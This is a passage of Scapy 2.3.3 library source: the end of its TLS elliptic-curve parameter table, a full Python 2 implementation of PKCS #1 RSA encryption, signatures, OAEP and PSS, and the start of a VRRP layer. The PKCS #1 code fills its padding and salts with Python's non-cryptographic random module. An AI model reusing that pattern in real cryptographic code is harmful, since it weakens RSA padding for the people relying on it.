generator, (1, 3, 132, 0, 35), "secp521r1") _p = long_converter(""" A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028 2013481D 1F6E5377""") _a = long_converter(""" 7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C E94A4B44 F330B5D9""") _b = long_converter(""" 26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE 6BCCDC18 FF8C07B6""") _Gx = long_converter(""" 8BD2AEB9 CB7E57CB 2C4B482F FC81B7AF B9DE27E1 E3BD23C2 3A4453BD 9ACE3262""") _Gy = long_converter(""" 547EF835 C3DAC4FD 97F8461A 14611DC9 C2774513 2DED8E54 5C1D54C7 2F046997""") _r = long_converter(""" A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7 901E0E82 974856A7""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) BRNP256r1 = Curve("BRNP256r1", curve, generator, (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), "brainpoolP256r1") _p = long_converter(""" 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4 12B1DA19 7FB71123 ACD3A729 901D1A71 87470013 3107EC53""") _a = long_converter(""" 7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787 139165EF BA91F90F 8AA5814A 503AD4EB 04A8C7DD 22CE2826""") _b = long_converter(""" 04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6 2E880EA5 3EEB62D5 7CB43902 95DBC994 3AB78696 FA504C11""") _Gx = long_converter(""" 1D1C64F0 68CF45FF A2A63A81 B7C13F6B 8847A3E7 7EF14FE3 DB7FCAFE 0CBD10E8 E826E034 36D646AA EF87B2E2 47D4AF1E""") _Gy = long_converter(""" 8ABE1D75 20F9C2A4 5CB1EB8E 95CFD552 62B70B29 FEEC5864 E19C054F F9912928 0E464621 77918111 42820341 263C5315""") _r = long_converter(""" 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3 1F166E6C AC0425A7 CF3AB6AF 6B7FC310 3B883202 E9046565""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) BRNP384r1 = Curve("BRNP384r1", curve, generator, (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), "brainpoolP384r1") _p = long_converter(""" AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E D6639CCA 70330871 7D4D9B00 9BC66842 AECDA12A E6A380E6 2881FF2F 2D82C685 28AA6056 583A48F3""") _a = long_converter(""" 7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA""") _b = long_converter(""" 3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA DC083E67 984050B7 5EBAE5DD 2809BD63 8016F723""") _Gx = long_converter(""" 81AEE4BD D82ED964 5A21322E 9C4C6A93 85ED9F70 B5D916C1 B43B62EE F4D0098E FF3B1F78 E2D0D48D 50D1687B 93B97D5F 7C6D5047 406A5E68 8B352209 BCB9F822""") _Gy = long_converter(""" 7DDE385D 566332EC C0EABFA9 CF7822FD F209F700 24A57B1A A000C55B 881F8111 B2DCDE49 4A5F485E 5BCA4BD8 8A2763AE D1CA2B2F A8F05406 78CD1E0F 3AD80892""") _r = long_converter(""" AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E D6639CCA 70330870 553E5C41 4CA92619 41866119 7FAC1047 1DB1D381 085DDADD B5879682 9CA90069""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) BRNP512r1 = Curve("BRNP512r1", curve, generator, (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), "brainpoolP512r1") # we use IANA identifiers below named_curves = { 15: SECP160k1, 16: SECP160r1, 17: SECP160r2, 18: SECP192k1, 19: SECP192r1, 20: SECP224k1, 21: SECP224r1, 22: SECP256k1, 23: SECP256r1, 24: SECP384r1, 25: SECP521r1, 26: BRNP256r1, 27: BRNP384r1, 28: BRNP512r1 } for cid, c in named_curves.iteritems(): c.curve_id = cid # replace/fill previous named curves import ecdsa.curves ecdsa.curves.curves = named_curves.values() scapy-2.3.3/scapy/layers/tls/crypto/pkcs1.py000066400000000000000000001243551300136037300207770ustar00rootroot00000000000000## This file is part of Scapy ## Copyright (C) 2008 Arnaud Ebalard ## 2015, 2016 Maxence Tury ## This program is published under a GPLv2 license """ PKCS #1 methods as defined in RFC 3447. """ import os, popen2, tempfile import math, random, struct from hashlib import md5, sha1, sha224, sha256, sha384, sha512 from Crypto.Hash import MD2, MD4 ##################################################################### # Some helpers ##################################################################### def _warning(m): print "WARNING: %s" % m def randstring(l): """ Returns a random string of length l (l >= 0) """ tmp = map(lambda x: struct.pack("B", random.randrange(0, 256, 1)), [""]*l) return "".join(tmp) def zerofree_randstring(l): """ Returns a random string of length l (l >= 0) without zero in it. """ tmp = map(lambda x: struct.pack("B", random.randrange(1, 256, 1)), [""]*l) return "".join(tmp) def strxor(s1, s2): """ Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return "".join(map(lambda x,y:chr(ord(x)^ord(y)), s1, s2)) def strand(s1, s2): """ Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return "".join(map(lambda x,y:chr(ord(x)&ord(y)), s1, s2)) # OS2IP function defined in RFC 3447 for octet string to integer conversion def pkcs_os2ip(x): """ Accepts a byte string as input parameter and return the associated long value: Input : x octet string to be converted Output: x corresponding nonnegative integer Reverse function is pkcs_i2osp() """ return int(x.encode("hex"), 16) # I2OSP function defined in RFC 3447 for integer to octet string conversion def pkcs_i2osp(x, xLen): """ Converts a long (the first parameter) to the associated byte string representation of length l (second parameter). Basically, the length parameters allow the function to perform the associated padding. Input : x nonnegative integer to be converted xLen intended length of the resulting octet string Output: x corresponding octet string Reverse function is pkcs_os2ip(). """ # The user is responsible for providing an appropriate xLen. #if x >= 256**xLen: # raise Exception("Integer too large for provided xLen %d" % xLen) fmt = "%%0%dx" % (2*xLen) return (fmt % x).decode("hex") def pkcs_ilen(n): """ This is a log base 256 which determines the minimum octet string length for unequivocal representation of integer n by pkcs_i2osp. """ i = 0 while n > 0: n >>= 8 i += 1 return i # for every hash function a tuple is provided, giving access to # - hash output length in byte # - associated hash function that take data to be hashed as parameter # XXX I do not provide update() at the moment. # - DER encoding of the leading bits of digestInfo (the hash value # will be concatenated to create the complete digestInfo). # # Notes: # - MD4 asn.1 value should be verified. Also, as stated in # PKCS#1 v2.1, MD4 should not be used. # - 'tls' one is the concatenation of both md5 and sha1 hashes used # by SSL/TLS when signing/verifying things _hashFuncParams = { "md2" : (16, MD2.new, lambda x: MD2.new(x).digest(), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x02\x05\x00\x04\x10'), "md4" : (16, MD4.new, lambda x: MD4.new(x).digest(), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x04\x05\x00\x04\x10'), "md5" : (16, md5, lambda x: md5(x).digest(), '\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x05\x05\x00\x04\x10'), "sha1" : (20, sha1, lambda x: sha1(x).digest(), '\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14'), "sha224" : (28, sha224, lambda x: sha224(x).digest(), '\x30\x2d\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x04\x05\x00\x04\x1c'), "sha256" : (32, sha256, lambda x: sha256(x).digest(), '\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'), "sha384" : (48, sha384, lambda x: sha384(x).digest(), '\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30'), "sha512" : (64, sha512, lambda x: sha512(x).digest(), '\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40'), "tls" : (36, None, lambda x: md5(x).digest() + sha1(x).digest(), '') } def mapHashFunc(hashStr): try: return _hashFuncParams[hashStr][1] except: raise Exception("Unknown hash function %s" % hashStr) def pkcs_mgf1(mgfSeed, maskLen, h): """ Implements generic MGF1 Mask Generation function as described in Appendix B.2.1 of RFC 3447. The hash function is passed by name. valid values are 'md2', 'md4', 'md5', 'sha1', 'tls, 'sha256', 'sha384' and 'sha512'. Returns None on error. Input: mgfSeed: seed from which mask is generated, an octet string maskLen: intended length in octets of the mask, at most 2^32 * hLen hLen (see below) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. Output: an octet string of length maskLen """ # steps are those of Appendix B.2.1 if not _hashFuncParams.has_key(h): _warning("pkcs_mgf1: invalid hash (%s) provided") return None hLen = _hashFuncParams[h][0] hFunc = _hashFuncParams[h][2] if maskLen > 2**32 * hLen: # 1) _warning("pkcs_mgf1: maskLen > 2**32 * hLen") return None T = "" # 2) maxCounter = math.ceil(float(maskLen) / float(hLen)) # 3) counter = 0 while counter < maxCounter: C = pkcs_i2osp(counter, 4) T += hFunc(mgfSeed + C) counter += 1 return T[:maskLen] def pkcs_emsa_pss_encode(M, emBits, h, mgf, sLen): """ Implements EMSA-PSS-ENCODE() function described in Sect. 9.1.1 of RFC 3447 Input: M : message to be encoded, an octet string emBits: maximal bit length of the integer resulting of pkcs_os2ip(EM), where EM is the encoded message, output of the function. h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. mgf : the mask generation function f : seed, maskLen -> mask sLen : intended length in octets of the salt Output: encoded message, an octet string of length emLen = ceil(emBits/8) On error, None is returned. """ # 1) is not done hLen = _hashFuncParams[h][0] # 2) hFunc = _hashFuncParams[h][2] mHash = hFunc(M) emLen = int(math.ceil(emBits/8.)) if emLen < hLen + sLen + 2: # 3) _warning("encoding error (emLen < hLen + sLen + 2)") return None salt = randstring(sLen) # 4) MPrime = '\x00'*8 + mHash + salt # 5) H = hFunc(MPrime) # 6) PS = '\x00'*(emLen - sLen - hLen - 2) # 7) DB = PS + '\x01' + salt # 8) dbMask = mgf(H, emLen - hLen - 1) # 9) maskedDB = strxor(DB, dbMask) # 10) l = (8*emLen - emBits)/8 # 11) rem = 8*emLen - emBits - 8*l # additionnal bits andMask = l*'\x00' if rem: j = chr(reduce(lambda x,y: x+y, map(lambda x: 1< mask sLen : intended length in octets of the salt Output: True if the verification is ok, False otherwise. """ # 1) is not done hLen = _hashFuncParams[h][0] # 2) hFunc = _hashFuncParams[h][2] mHash = hFunc(M) emLen = int(math.ceil(emBits/8.)) # 3) if emLen < hLen + sLen + 2: return False if EM[-1] != '\xbc': # 4) return False l = emLen - hLen - 1 # 5) maskedDB = EM[:l] H = EM[l:l+hLen] l = (8*emLen - emBits)/8 # 6) rem = 8*emLen - emBits - 8*l # additionnal bits andMask = l*'\xff' if rem: val = reduce(lambda x,y: x+y, map(lambda x: 1< n-1: _warning("Key._rsaep() expects a long between 0 and n-1") return None return self.key.encrypt(m, "")[0] def _rsaes_pkcs1_v1_5_encrypt(self, M): """ Implements RSAES-PKCS1-V1_5-ENCRYPT() function described in section 7.2.1 of RFC 3447. Input: M: message to be encrypted, an octet string of length mLen, where mLen <= k-11 (k denotes the length in octets of the key modulus) Output: ciphertext, an octet string of length k On error, None is returned. """ # 1) Length checking mLen = len(M) k = self.modulusLen / 8 if mLen > k - 11: _warning("Key._rsaes_pkcs1_v1_5_encrypt(): message too " "long (%d > %d - 11)" % (mLen, k)) return None # 2) EME-PKCS1-v1_5 encoding PS = zerofree_randstring(k - mLen - 3) # 2.a) EM = '\x00' + '\x02' + PS + '\x00' + M # 2.b) # 3) RSA encryption m = pkcs_os2ip(EM) # 3.a) c = self._rsaep(m) # 3.b) C = pkcs_i2osp(c, k) # 3.c) return C # 4) def _rsaes_oaep_encrypt(self, M, h=None, mgf=None, L=None): """ Internal method providing RSAES-OAEP-ENCRYPT as defined in Sect. 7.1.1 of RFC 3447. Not intended to be used directly. Please, see encrypt() method for type "OAEP". Input: M : message to be encrypted, an octet string of length mLen where mLen <= k - 2*hLen - 2 (k denotes the length in octets of the RSA modulus and hLen the length in octets of the hash function output) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. 'sha1' is used by default if not provided. mgf: the mask generation function f : seed, maskLen -> mask L : optional label to be associated with the message; the default value for L, if not provided is the empty string Output: ciphertext, an octet string of length k On error, None is returned. """ # The steps below are the one described in Sect. 7.1.1 of RFC 3447. # 1) Length Checking # 1.a) is not done mLen = len(M) if h is None: h = "sha1" if not _hashFuncParams.has_key(h): _warning("Key._rsaes_oaep_encrypt(): unknown hash function %s." % h) return None hLen = _hashFuncParams[h][0] hFun = _hashFuncParams[h][2] k = self.modulusLen / 8 if mLen > k - 2*hLen - 2: # 1.b) _warning("Key._rsaes_oaep_encrypt(): message too long.") return None # 2) EME-OAEP encoding if L is None: # 2.a) L = "" lHash = hFun(L) PS = '\x00'*(k - mLen - 2*hLen - 2) # 2.b) DB = lHash + PS + '\x01' + M # 2.c) seed = randstring(hLen) # 2.d) if mgf is None: # 2.e) mgf = lambda x,y: pkcs_mgf1(x,y,h) dbMask = mgf(seed, k - hLen - 1) maskedDB = strxor(DB, dbMask) # 2.f) seedMask = mgf(maskedDB, hLen) # 2.g) maskedSeed = strxor(seed, seedMask) # 2.h) EM = '\x00' + maskedSeed + maskedDB # 2.i) # 3) RSA Encryption m = pkcs_os2ip(EM) # 3.a) c = self._rsaep(m) # 3.b) C = pkcs_i2osp(c, k) # 3.c) return C # 4) def encrypt(self, m, t=None, h=None, mgf=None, L=None): """ Encrypt message 'm' using 't' encryption scheme where 't' can be: - None: the message 'm' is directly applied the RSAEP encryption primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.1.1. Simply put, the message undergo a modular exponentiation using the public key. Additionnal method parameters are just ignored. -'pkcs': the message 'm' is applied RSAES-PKCS1-V1_5-ENCRYPT encryption scheme as described in section 7.2.1 of RFC 3447. In that context, other parameters ('h', 'mgf', 'l') are not used. -'oaep': the message 'm' is applied the RSAES-OAEP-ENCRYPT encryption scheme, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 7.1.1. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If none is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'L' is the optional label to be associated with the message. If not provided, the default value is used, i.e the empty string. No check is done on the input limitation of the hash function regarding the size of 'L' (for instance, 2^61 - 1 for SHA-1). You have been warned. """ if t is None: # Raw encryption m = pkcs_os2ip(m) c = self._rsaep(m) return pkcs_i2osp(c, self.modulusLen/8) elif t == "pkcs": return self._rsaes_pkcs1_v1_5_encrypt(m) elif t == "oaep": return self._rsaes_oaep_encrypt(m, h, mgf, L) else: _warning("Key.encrypt(): Unknown encryption type (%s) provided" % t) return None ### Below are verification related methods def _rsavp1(self, s): """ Internal method providing raw RSA verification, i.e. simple modular exponentiation of the given signature representative 'c', an integer between 0 and n-1. This is the signature verification primitive RSAVP1 described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.2.2. Input: s: signature representative, an integer between 0 and n-1, where n is the key modulus. Output: message representative, an integer between 0 and n-1 Not intended to be used directly. Please, see verify() method. """ return self._rsaep(s) def _rsassa_pss_verify(self, M, S, h=None, mgf=None, sLen=None): """ Implements RSASSA-PSS-VERIFY() function described in Sect 8.1.2 of RFC 3447 Input: M: message whose signature is to be verified S: signature to be verified, an octet string of length k, where k is the length in octets of the RSA modulus n. Output: True is the signature is valid. False otherwise. """ # Set default parameters if not provided if h is None: # By default, sha1 h = "sha1" if not _hashFuncParams.has_key(h): _warning("Key._rsassa_pss_verify(): unknown hash function " "provided (%s)" % h) return False if mgf is None: # use mgf1 with underlying hash function mgf = lambda x,y: pkcs_mgf1(x, y, h) if sLen is None: # use Hash output length (A.2.3 of RFC 3447) hLen = _hashFuncParams[h][0] sLen = hLen # 1) Length checking modBits = self.modulusLen k = modBits / 8 if len(S) != k: return False # 2) RSA verification s = pkcs_os2ip(S) # 2.a) m = self._rsavp1(s) # 2.b) emLen = math.ceil((modBits - 1) / 8.) # 2.c) EM = pkcs_i2osp(m, emLen) # 3) EMSA-PSS verification Result = pkcs_emsa_pss_verify(M, EM, modBits - 1, h, mgf, sLen) return Result # 4) def _rsassa_pkcs1_v1_5_verify(self, M, S, h): """ Implements RSASSA-PKCS1-v1_5-VERIFY() function as described in Sect. 8.2.2 of RFC 3447. Input: M: message whose signature is to be verified, an octet string S: signature to be verified, an octet string of length k, where k is the length in octets of the RSA modulus n h: hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). Output: True if the signature is valid. False otherwise. """ # 1) Length checking k = self.modulusLen / 8 if len(S) != k: _warning("invalid signature (len(S) != k)") return False # 2) RSA verification s = pkcs_os2ip(S) # 2.a) m = self._rsavp1(s) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EMSA-PKCS1-v1_5 encoding EMPrime = pkcs_emsa_pkcs1_v1_5_encode(M, k, h) if EMPrime is None: _warning("Key._rsassa_pkcs1_v1_5_verify(): unable to encode.") return False # 4) Comparison return EM == EMPrime def verify(self, M, S, t=None, h=None, mgf=None, sLen=None): """ Verify alleged signature 'S' is indeed the signature of message 'M' using 't' signature scheme where 't' can be: - None: the alleged signature 'S' is directly applied the RSAVP1 signature primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.2.1. Simply put, the provided signature is applied a modular exponentiation using the public key. Then, a comparison of the result is done against 'M'. On match, True is returned. Additional method parameters are just ignored. -'pkcs': the alleged signature 'S' and message 'M' are applied RSASSA-PKCS1-v1_5-VERIFY signature verification scheme as described in Sect. 8.2.2 of RFC 3447. In that context, the hash function name is passed using 'h'. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If none is provided, sha1 is used. Other additional parameters are ignored. -'pss': the alleged signature 'S' and message 'M' are applied RSASSA-PSS-VERIFY signature scheme as described in Sect. 8.1.2. of RFC 3447. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If None is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'sLen' is the byte length of the salt. You can overload the default value (the byte length of the hash value for provided algorithm) by providing another one with that parameter. """ if t is None: # RSAVP1 S = pkcs_os2ip(S) n = self.modulus if S > n-1: _warning("Signature to be verified is too long for key modulus") return False m = self._rsavp1(S) if m is None: return False l = int(math.ceil(math.log(m, 2) / 8.)) # Hack m = pkcs_i2osp(m, l) return M == m elif t == "pkcs": # RSASSA-PKCS1-v1_5-VERIFY if h is None: h = "sha1" return self._rsassa_pkcs1_v1_5_verify(M, S, h) elif t == "pss": # RSASSA-PSS-VERIFY return self._rsassa_pss_verify(M, S, h, mgf, sLen) else: _warning("Key.verify(): Unknown signature type (%s) provided" % t) return None class _DecryptAndSignRSA(object): ### Below are decryption related methods. Encryption ones are inherited ### from PubKey def _rsadp(self, c): """ Internal method providing raw RSA decryption, i.e. simple modular exponentiation of the given ciphertext representative 'c', a long between 0 and n-1. This is the decryption primitive RSADP described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.1.2. Input: c: ciphertest representative, a long between 0 and n-1, where n is the key modulus. Output: message representative, a long between 0 and n-1 Not intended to be used directly. Please, see decrypt() method. """ n = self.modulus if isinstance(c, int): c = long(c) if (not isinstance(c, long)) or c > n-1: _warning("Key._rsaep() expects a long between 0 and n-1") return None return self.key.decrypt(c) def _rsaes_pkcs1_v1_5_decrypt(self, C): """ Implements RSAES-PKCS1-V1_5-DECRYPT() function described in section 7.2.2 of RFC 3447. Input: C: ciphertext to be decrypted, an octet string of length k, where k is the length in octets of the RSA modulus n. Output: an octet string of length k at most k - 11 on error, None is returned. """ # 1) Length checking cLen = len(C) k = self.modulusLen / 8 if cLen != k or k < 11: _warning("Key._rsaes_pkcs1_v1_5_decrypt() decryption error " "(cLen != k or k < 11)") return None # 2) RSA decryption c = pkcs_os2ip(C) # 2.a) m = self._rsadp(c) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EME-PKCS1-v1_5 decoding # I am aware of the note at the end of 7.2.2 regarding error # conditions reporting but the one provided below are for _local_ # debugging purposes. --arno if EM[0] != '\x00': _warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(first byte is not 0x00)") return None if EM[1] != '\x02': _warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(second byte is not 0x02)") return None tmp = EM[2:].split('\x00', 1) if len(tmp) != 2: _warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(no 0x00 to separate PS from M)") return None PS, M = tmp if len(PS) < 8: _warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(PS is less than 8 byte long)") return None return M # 4) def _rsaes_oaep_decrypt(self, C, h=None, mgf=None, L=None): """ Internal method providing RSAES-OAEP-DECRYPT as defined in Sect. 7.1.2 of RFC 3447. Not intended to be used directly. Please, see encrypt() method for type "OAEP". Input: C : ciphertext to be decrypted, an octet string of length k, where k = 2*hLen + 2 (k denotes the byte length of the RSA modulus and hLen the byte length of the hash function output) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). 'sha1' is used if none is provided. mgf: the mask generation function f : seed, maskLen -> mask L : optional label whose association with the message is to be verified; the default value for L, if not provided is the empty string. Output: message, an octet string of length k mLen, where mLen <= k-2*hLen-2 On error, None is returned. """ # The steps below are the one described in Sect. 7.1.2 of RFC 3447. # 1) Length Checking # 1.a) is not done if h is None: h = "sha1" if not _hashFuncParams.has_key(h): _warning("Key._rsaes_oaep_decrypt(): unknown hash function %s.", h) return None hLen = _hashFuncParams[h][0] hFun = _hashFuncParams[h][2] k = self.modulusLen / 8 cLen = len(C) if cLen != k: # 1.b) _warning("Key._rsaes_oaep_decrypt(): decryption error. " "(cLen != k)") return None if k < 2*hLen + 2: _warning("Key._rsaes_oaep_decrypt(): decryption error. " "(k < 2*hLen + 2)") return None # 2) RSA decryption c = pkcs_os2ip(C) # 2.a) m = self._rsadp(c) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EME-OAEP decoding if L is None: # 3.a) L = "" lHash = hFun(L) Y = EM[:1] # 3.b) if Y != '\x00': _warning("Key._rsaes_oaep_decrypt(): decryption error. " "(Y is not zero)") return None maskedSeed = EM[1:1+hLen] maskedDB = EM[1+hLen:] if mgf is None: mgf = lambda x,y: pkcs_mgf1(x, y, h) seedMask = mgf(maskedDB, hLen) # 3.c) seed = strxor(maskedSeed, seedMask) # 3.d) dbMask = mgf(seed, k - hLen - 1) # 3.e) DB = strxor(maskedDB, dbMask) # 3.f) # I am aware of the note at the end of 7.1.2 regarding error # conditions reporting but the one provided below are for _local_ # debugging purposes. --arno lHashPrime = DB[:hLen] # 3.g) tmp = DB[hLen:].split('\x01', 1) if len(tmp) != 2: _warning("Key._rsaes_oaep_decrypt(): decryption error. " "(0x01 separator not found)") return None PS, M = tmp if PS != '\x00'*len(PS): _warning("Key._rsaes_oaep_decrypt(): decryption error. " "(invalid padding string)") return None if lHash != lHashPrime: _warning("Key._rsaes_oaep_decrypt(): decryption error. " "(invalid hash)") return None return M # 4) def decrypt(self, C, t=None, h=None, mgf=None, L=None): """ Decrypt ciphertext 'C' using 't' decryption scheme where 't' can be: - None: the ciphertext 'C' is directly applied the RSADP decryption primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.1.2. Simply, put the message undergo a modular exponentiation using the private key. Additionnal method parameters are just ignored. - 'pkcs': the ciphertext 'C' is applied RSAES-PKCS1-V1_5-DECRYPT decryption scheme as described in section 7.2.2 of RFC 3447. In that context, other parameters ('h', 'mgf', 'l') are not used. - 'oaep': the ciphertext 'C' is applied the RSAES-OAEP-DECRYPT decryption scheme, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 7.1.2. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If None is provided, sha1 is used by default. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'L' is the optional label to be associated with the message. If not provided, the default value is used, i.e the empty string. No check is done on the input limitation of the hash function regarding the size of 'L' (for instance, 2^61 - 1 for SHA-1). You have been warned. """ if t is None: C = pkcs_os2ip(C) c = self._rsadp(C) l = int(math.ceil(math.log(c, 2) / 8.)) # Hack return pkcs_i2osp(c, l) elif t == "pkcs": return self._rsaes_pkcs1_v1_5_decrypt(C) elif t == "oaep": return self._rsaes_oaep_decrypt(C, h, mgf, L) else: _warning("Key.decrypt(): Unknown decryption type (%s) provided" % t) return None ### Below are signature related methods. ### Verification methods are inherited from PubKey. def _rsasp1(self, m): """ Internal method providing raw RSA signature, i.e. simple modular exponentiation of the given message representative 'm', an integer between 0 and n-1. This is the signature primitive RSASP1 described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.2.1. Input: m: message representative, an integer between 0 and n-1, where n is the key modulus. Output: signature representative, an integer between 0 and n-1 Not intended to be used directly. Please, see sign() method. """ return self._rsadp(m) def _rsassa_pss_sign(self, M, h=None, mgf=None, sLen=None): """ Implements RSASSA-PSS-SIGN() function described in Sect. 8.1.1 of RFC 3447. Input: M: message to be signed, an octet string Output: signature, an octet string of length k, where k is the length in octets of the RSA modulus n. On error, None is returned. """ # Set default parameters if not provided if h is None: # By default, sha1 h = "sha1" if not _hashFuncParams.has_key(h): _warning("Key._rsassa_pss_sign(): unknown hash function " "provided (%s)" % h) return None if mgf is None: # use mgf1 with underlying hash function mgf = lambda x,y: pkcs_mgf1(x, y, h) if sLen is None: # use Hash output length (A.2.3 of RFC 3447) hLen = _hashFuncParams[h][0] sLen = hLen # 1) EMSA-PSS encoding modBits = self.modulusLen k = modBits / 8 EM = pkcs_emsa_pss_encode(M, modBits - 1, h, mgf, sLen) if EM is None: _warning("Key._rsassa_pss_sign(): unable to encode") return None # 2) RSA signature m = pkcs_os2ip(EM) # 2.a) s = self._rsasp1(m) # 2.b) S = pkcs_i2osp(s, k) # 2.c) return S # 3) def _rsassa_pkcs1_v1_5_sign(self, M, h): """ Implements RSASSA-PKCS1-v1_5-SIGN() function as described in Sect. 8.2.1 of RFC 3447. Input: M: message to be signed, an octet string h: hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls' 'sha256', 'sha384'). Output: the signature, an octet string. """ # 1) EMSA-PKCS1-v1_5 encoding k = self.modulusLen / 8 EM = pkcs_emsa_pkcs1_v1_5_encode(M, k, h) if EM is None: _warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode") return None # 2) RSA signature m = pkcs_os2ip(EM) # 2.a) s = self._rsasp1(m) # 2.b) S = pkcs_i2osp(s, k) # 2.c) return S # 3) def sign(self, M, t=None, h=None, mgf=None, sLen=None): """ Sign message 'M' using 't' signature scheme where 't' can be: - None: the message 'M' is directly applied the RSASP1 signature primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.2.1. Simply put, the message undergo a modular exponentiation using the private key. Additional method parameters are just ignored. - 'pkcs': the message 'M' is applied RSASSA-PKCS1-v1_5-SIGN signature scheme as described in Sect. 8.2.1 of RFC 3447. In that context, the hash function name is passed using 'h'. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If none is provided, sha1 is used. Other additional parameters are ignored. - 'pss' : the message 'M' is applied RSASSA-PSS-SIGN signature scheme as described in Sect. 8.1.1. of RFC 3447. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If None is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'sLen' is the byte length of the salt. You can overload the default value (the byte length of the hash value for provided algorithm) by providing another one with that parameter. """ if t is None: # RSASP1 M = pkcs_os2ip(M) n = self.modulus if M > n-1: _warning("Message to be signed is too long for key modulus") return None s = self._rsasp1(M) if s is None: return None return pkcs_i2osp(s, self.modulusLen/8) elif t == "pkcs": # RSASSA-PKCS1-v1_5-SIGN if h is None: h = "sha1" return self._rsassa_pkcs1_v1_5_sign(M, h) elif t == "pss": # RSASSA-PSS-SIGN return self._rsassa_pss_sign(M, h, mgf, sLen) else: _warning("Key.sign(): Unknown signature type (%s) provided" % t) return None scapy-2.3.3/scapy/layers/vrrp.py000066400000000000000000000023041300136037300166120ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) 6WIND ## This program is published under a GPLv2 license """ VRRP (Virtual Router Redundancy Protocol). """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP IPPROTO_VRRP=112 # RFC 3768 - Virtual Router Redundancy Protocol (VRRP) class VRRP(Packet): 